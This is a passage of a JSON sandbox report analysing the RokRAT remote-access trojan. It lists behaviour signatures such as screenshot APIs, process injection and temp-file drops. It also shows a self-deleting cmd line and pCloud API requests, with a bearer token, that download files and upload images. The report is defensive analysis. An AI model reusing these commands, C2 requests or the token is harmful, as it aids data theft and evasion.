\"PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles\"\n Process \"PING.EXE\" (UID: 00000000-00006644) was launched with new environment variables: \"PROMPT=\"$P$G\"\"","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"api.pcloud.com\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"RokRAT.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")\n \"wscript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")\n \"wscript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"wscript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"wscript.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"cmd.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"PING.EXE\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"General","name":"Scanning for window names","description":"\"wscript.exe\" searching for window \"Windows Script Host Settings\"","origin":"API Call","mitre_attack_id":"T1010","relevance":10,"id":"api-70","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"wscript.exe\" (UID: 00000000-00004360)\n Spawned process \"cmd.exe\" with commandline \"/C ping 0.1.1.2 -n 1 -w 4000 > nul & del \"C:\\\\RokRAT.exe\"\" (UID: 00000000-00007960)\n Spawned process \"PING.EXE\" with commandline \"ping 0.1.1.2 -n 1 -w 4000\" (UID: 00000000-00006644)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"General","name":"Uses 32 bit executable PE","description":"\"RokRAT.exe\" has flags like IMAGE_FILE_32BIT_MACHINE\n IMAGE_FILE_EXECUTABLE","origin":"Static Parser","id":"static-153","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"General","name":"Writes files in a temp directory","description":"\"wscript.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\48230029.tmp\"\n \"wscript.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\678418BE.tmp\"\n \"wscript.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\3D6C4AE1.tmp\"\n \"wscript.exe\" writes to a file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\72AE2CD6.tmp\"","origin":"API Call","mitre_attack_id":"T1005","relevance":1,"id":"api-267","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"RokRAT.exe\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")\n Found reference to API \"LoadLibraryExA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00004360.00000000.67175.00D89000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"wscript.exe\" creates a thread in process \"-1\" (Handle: 4294967295)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"\"678418BE.tmp\" has type \"JPEG image data JFIF standard 1.01 resolution (DPI) density 96x96 segment length 16 baseline precision 8 1280x1024 components 3\"- Location: [%TEMP%\\678418BE.tmp]- [targetUID: 00000000-00004360]\n \"48230029.tmp\" has type \"JPEG image data JFIF standard 1.01 resolution (DPI) density 96x96 segment length 16 baseline precision 8 1280x1024 components 3\"- Location: [%TEMP%\\48230029.tmp]- [targetUID: 00000000-00004360]\n \"72AE2CD6.tmp\" has type \"JPEG image data JFIF standard 1.01 resolution (DPI) density 96x96 segment length 16 baseline precision 8 1280x1024 components 3\"- Location: [%TEMP%\\72AE2CD6.tmp]- [targetUID: 00000000-00004360]\n \"3D6C4AE1.tmp\" has type \"JPEG image data JFIF standard 1.01 resolution (DPI) density 96x96 segment length 16 baseline precision 8 1280x1024 components 3\"- Location: [%TEMP%\\3D6C4AE1.tmp]- [targetUID: 00000000-00004360]","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Installation/Persistence","name":"Drops temp files","description":"\"678418BE.tmp\" has type \"JPEG image data JFIF standard 1.01 resolution (DPI) density 96x96 segment length 16 baseline precision 8 1280x1024 components 3\" - Location: [%TEMP%\\678418BE.tmp]\n \"48230029.tmp\" has type \"JPEG image data JFIF standard 1.01 resolution (DPI) density 96x96 segment length 16 baseline precision 8 1280x1024 components 3\" - Location: [%TEMP%\\48230029.tmp]\n \"72AE2CD6.tmp\" has type \"JPEG image data JFIF standard 1.01 resolution (DPI) density 96x96 segment length 16 baseline precision 8 1280x1024 components 3\" - Location: [%TEMP%\\72AE2CD6.tmp]\n \"3D6C4AE1.tmp\" has type \"JPEG image data JFIF standard 1.01 resolution (DPI) density 96x96 segment length 16 baseline precision 8 1280x1024 components 3\" - Location: [%TEMP%\\3D6C4AE1.tmp]","origin":"Binary File","mitre_attack_id":"T1105","relevance":1,"id":"binary-53","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$2e","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"RokRAT.exe\" queries basic process information of the \"C:\\Windows\\SysWOW64\\wscript.exe\" (UID: 2672)\n \"RokRAT.exe\" queries basic process information of the \"C:\\Windows\\SysWOW64\\cmd.exe\" (UID: 2672)\n \"wscript.exe\" queries basic process information of the \"C:\\Windows\\SysWOW64\\wscript.exe\" (UID: 4360)\n \"cmd.exe\" queries basic process information of the \"C:\\Windows\\SysWOW64\\PING.EXE\" (UID: 7960)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$2f","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"wscript.exe\" called \"NtQueueApcThread\" (UID: 00000000-00004360)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"wscript.exe\" reads file \"c:\\users\\%osuser%\\appdata\\local\\temp\\48230029.tmp\"\n \"wscript.exe\" reads file \"c:\\users\\%osuser%\\appdata\\local\\temp\\678418be.tmp\"\n \"wscript.exe\" reads file \"c:\\users\\%osuser%\\appdata\\local\\temp\\3d6c4ae1.tmp\"\n \"wscript.exe\" reads file \"c:\\users\\%osuser%\\appdata\\local\\temp\\72ae2cd6.tmp\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)\n Matched sigs: Contains ability to detect virtual environment","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"RokRAT.exe\" trying to touch file \"\\Device\\HarddiskVolume2\\Windows\\System32\\WOW64LOG.DLL\"\n \"RokRAT.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\apphelp.dll\"\n \"RokRAT.exe\" trying to touch file \"C:\\RokRAT.exe\"\n \"RokRAT.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\ntdll.dll\"\n \"RokRAT.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\kernel32.dll\"\n \"RokRAT.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\KernelBase.dll\"\n \"RokRAT.exe\" trying to touch file \"C:\\Windows\\apppatch\\sysmain.sdb\"\n \"RokRAT.exe\" trying to touch file \"C:\\Windows\\Temp\\VxSSL32.dll\"\n \"RokRAT.exe\" trying to touch file \"\\Device\\HarddiskVolume2\\FLTLIB.DLL\"\n \"RokRAT.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\fltLib.dll\"\n \"RokRAT.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\bcryptprimitives.dll\"\n \"RokRAT.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\cryptbase.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$30","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"\"wscript.exe\" trying to access non-existent file \"\\Device\\HarddiskVolume2\\Windows\\SysWOW64\\WSCRIPT.EXE.LOCAL\"\n \"wscript.exe\" trying to access non-existent file \"C:\\WINDOWS\\SysWOW64\\wscript.exe.Local\\\"","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"wscript.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\48230029.tmp\"\n \"wscript.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\678418be.tmp\"\n \"wscript.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\3d6c4ae1.tmp\"\n \"wscript.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\72ae2cd6.tmp\"\n \"wscript.exe\" writes file \"%temp%\\678418be.tmp\"\n \"wscript.exe\" writes file \"%temp%\\48230029.tmp\"\n \"wscript.exe\" writes file \"%temp%\\72ae2cd6.tmp\"\n \"wscript.exe\" writes file \"%temp%\\3d6c4ae1.tmp\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to send the specified request to the HTTP server","description":"\"wscript.exe\" called \"WinHttpSendRequest\" with parameters {\"hRequest\": \"316d180\"\n \"dwHeadersLength\": \"0\"\n \"dwOptionalLength\": \"0\"\n \"dwTotalLength\": \"0\"\n \"dwContext\": \"0\"}\n \"wscript.exe\" called \"WinHttpSendRequest\" with parameters {\"hRequest\": \"31feec0\"\n \"dwHeadersLength\": \"0\"\n \"dwOptionalLength\": \"0\"\n \"dwTotalLength\": \"39601\"\n \"dwContext\": \"0\"}\n \"wscript.exe\" called \"WinHttpSendRequest\" with parameters {\"hRequest\": \"31feec0\"\n \"dwHeadersLength\": \"0\"\n \"dwOptionalLength\": \"0\"\n \"dwTotalLength\": \"39608\"\n \"dwContext\": \"0\"}\n \"wscript.exe\" called \"WinHttpSendRequest\" with parameters {\"hRequest\": \"31feec0\"\n \"dwHeadersLength\": \"0\"\n \"dwOptionalLength\": \"0\"\n \"dwTotalLength\": \"39600\"\n \"dwContext\": \"0\"}","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-190","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Network Related","name":"Calls an API typically used to to receive the response to a HTTP requests","description":"\"wscript.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"316d180\"\n \"lpReserved\": \"0\"}\n \"wscript.exe\" called \"WinHttpReceiveResponse\" with parameters {\"hRequest\": \"31feec0\"\n \"lpReserved\": \"0\"}","origin":"API Call","mitre_attack_id":"T1071.001","relevance":2,"id":"api-191","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Network Related","name":"Checks internet connectivity using tracert/ping","description":"Process \"PING.EXE\" with commandline \"ping 0.1.1.2 -n 1 -w 4000\" (UID: 00000000-00006644)","origin":"Monitored Target","mitre_attack_id":"T1016.001","relevance":1,"id":"target-348","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"$31","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create a new HTTP request (API string)","description":"Found reference to API \"WinHttpOpenRequest\" (Indicator: \"HttpOpenRequest\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-537","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Network Related","name":"Contains ability to download a file from a URL (API string)","description":"Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-241","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Network Related","name":"Contains ability to upload file/data","description":"Found string \"Content-Disposition: form-data; name=\"attributes\"\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")\n Found string \"Content-Disposition: form-data; name=\"file\"; filename=\"\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp\n 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1041","relevance":1,"id":"string-511","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows HTTP services (API string)","description":"$32","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-323","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Network Related","name":"Contains reference to Windows internet services (API string)","description":"Found reference to API \"InternetOpenUrlA\" (Indicator: \"InternetOpen\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")\n Found reference to API \"InternetOpenA\" (Indicator: \"InternetOpen\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-539","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Network Related","name":"Found domain strings related to cloud services(possible C&C communication)","description":"$33","origin":"File/Memory","mitre_attack_id":"T1102","relevance":1,"id":"string-186","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$34","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"HTTP/1.1 200\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00004360.00000000.67175.03120000.00000004.mdmp\")\n Found string \"filelink?path=/def_7131362C.jpg&forcedownload=1&skipfilename=1 HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00004360.00000000.67175.03120000.00000004.mdmp\")\n Found string \"*HTTP/1.1 200 OK\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00004360.00000000.67175.03120000.00000004.mdmp\")\n Found string \"skipfilename=1 HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00004360.00000000.67175.03120000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Network Related","name":"GETs files from a webserver (HTTPS)","description":"GET /getfilelink?path=/def_7131362C.jpg&forcedownload=1&skipfilename=1 HTTP/1.1Connection: Keep-Alive\n Accept: text/html\napplication/xhtml+xml\napplication/xml;q=0.9\nimage/webp\n*/*;q=0.8\n Accept-Language: en-US\nen;q=0.8\n Authorization: Bearer FvpEZb8OdiCFSNHJZQMKbO7ZjkYXAL509nzzFNnu2Tosb53KxcKy\n User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36\n Host: api.pcloud.com","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x00000303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://api.pcloud.com/getfilelink?path=/def_7131362C.jpg&forcedownload=1&skipfilename=1\n Found HTTPS POST request to https://api.pcloud.com/uploadfile?path=/&filename=pho_7131362C_0.jpg&nopartial=1\n Found HTTPS POST request to https://api.pcloud.com/uploadfile?path=/&filename=pho_7131362C_1.jpg&nopartial=1\n Found HTTPS POST request to https://api.pcloud.com/uploadfile?path=/&filename=pho_7131362C_2.jpg&nopartial=1\n Found HTTPS POST request to https://api.pcloud.com/uploadfile?path=/&filename=pho_7131362C_3.jpg&nopartial=1","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"74.120.9.89\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"$35","origin":"API Call","mitre_attack_id":"T1113","relevance":3,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"RokRAT.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"wscript.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"cmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"PING.EXE\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"wscript.exe\" called \"GetComputerNameA\" (UID: 00000000-00004360)\n \"wscript.exe\" called \"GetComputerNameW\" (UID: 00000000-00004360)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"wscript.exe\" called \"GetUserNameA\" (UID: 00000000-00004360)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"Found string \"\"0=JT%aEs\" (Indicator: \"aes\"; File: \"RokRAT.exe\"), Found string \"ECDSA\" (Indicator: \"ecdsa\"; Source: \"00000000-00004360.00000000.67175.03120000.00000004.mdmp\"), Found string \"Microsoft Enhanced RSA and AES Cryptographic Provider\" (Indicator: \"aes\"; Source: \"00000000-00004360.00000000.67175.03120000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"Found reference to API \"GetDC\" (Indicator: \"GetDC\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")\n Found reference to API \"CreateCompatibleDC\" (Indicator: \"CreateCompatibleDC\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")\n Found reference to API \"CreateCompatibleBitmap\" (Indicator: \"CreateCompatibleBitmap\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")\n Found reference to API \"BitBlt\" (Indicator: \"BitBlt\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")\n Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00004360.00000000.67175.00D89000.00000002.mdmp\")\n Found reference to API \"FindFirstFileA\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00004360.00000000.67175.00D89000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$36","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query registry keys (API string)","description":"$37","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve SID for the specified name (API string)","description":"Found reference to API \"LookupAccountNameW\" (Indicator: \"LookupAccountName\"; Source: \"00000000-00004360.00000000.67175.00D89000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1087","relevance":1,"id":"string-452","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; File: \"RokRAT.exe\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.00D89000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")\n Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"00000000-00004360.00000000.67175.00463000.00000002.mdmp, 00000000-00004360.00000000.67175.036D0000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"655fbd29f8d3df669b02d5be"},{"report_type":"sandbox","report_id":"655fc48d38dd107bd0073ebe"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"RokRAT.exe\")\n Found reference to API \"GetProcAddress\" 